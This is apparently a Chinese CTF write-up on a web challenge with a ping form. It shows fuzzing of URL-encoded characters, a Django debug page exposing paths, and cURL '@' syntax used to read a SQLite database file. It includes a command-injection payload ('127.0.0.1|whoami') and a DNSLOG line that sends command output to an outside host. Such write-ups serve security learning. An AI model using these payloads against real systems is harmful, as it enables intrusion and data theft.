本题涉及到的知识点有很多:
1.cURL的post文件上传
2.php的curl上传组件
3.python的字符编码
4.django的框架知识
解题步骤
先按照它的要求随便输入一个域名:
是一个PING操作命令,到这里立马联想到了pikachu靶场,然后构造payload:
127.0.0.1|whoami
网页回显 Invalid URL
,应该是对特殊字符做了限制
这里我想到了DNSLOG,
`whoami`.tiexb6.dnslog.cn
结果还是行不通的。
在进行测试的时候,发现写在输入框的内容会回显到URL地址上,比如:
可以尝试利用URL编码看看有没有哪些字符没有被过滤,
因为ASCII码的编码范围0-127,总共128个字符,测试起来也不费事
(图没截全)
返回的字符长度有四种:
86845:80往后基本都是宽字节了
688:只有%30返回这个,因为%30转义过来是0,它会进行ping0.0.0.0操作
464:0-29,60,100-127,这边都是不合法字符
453:31-79。大多数都是数字字母。除了%40是@
发现从80-99返回的长度一样
那我们写个%99
返回一大串HTML代码,先给他复制出来打开
接触过Django框架的应该一眼就能认出来,这个是Django框架报错返回的页面
根据报错信息应该是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。
网上搜了一下,似乎是题目有问题,原题中有关于@字符的用法,这里没有
这里提示了Django的绝对路径
需要懂一些django开发的基本知识,我感觉这道题涉及的面有点广了,django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。
读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。
然后再页面源代码中提示了
然后用@读取url=@/opt/api/database.sqlite3
回显的还是HTML代码,复制出来打开,或者直接搜索’ctf‘看看
标签:Web,编码,攻防,URL,py,django,字符,Cat,settings From: https://www.cnblogs.com/mlxwl/p/16585215.html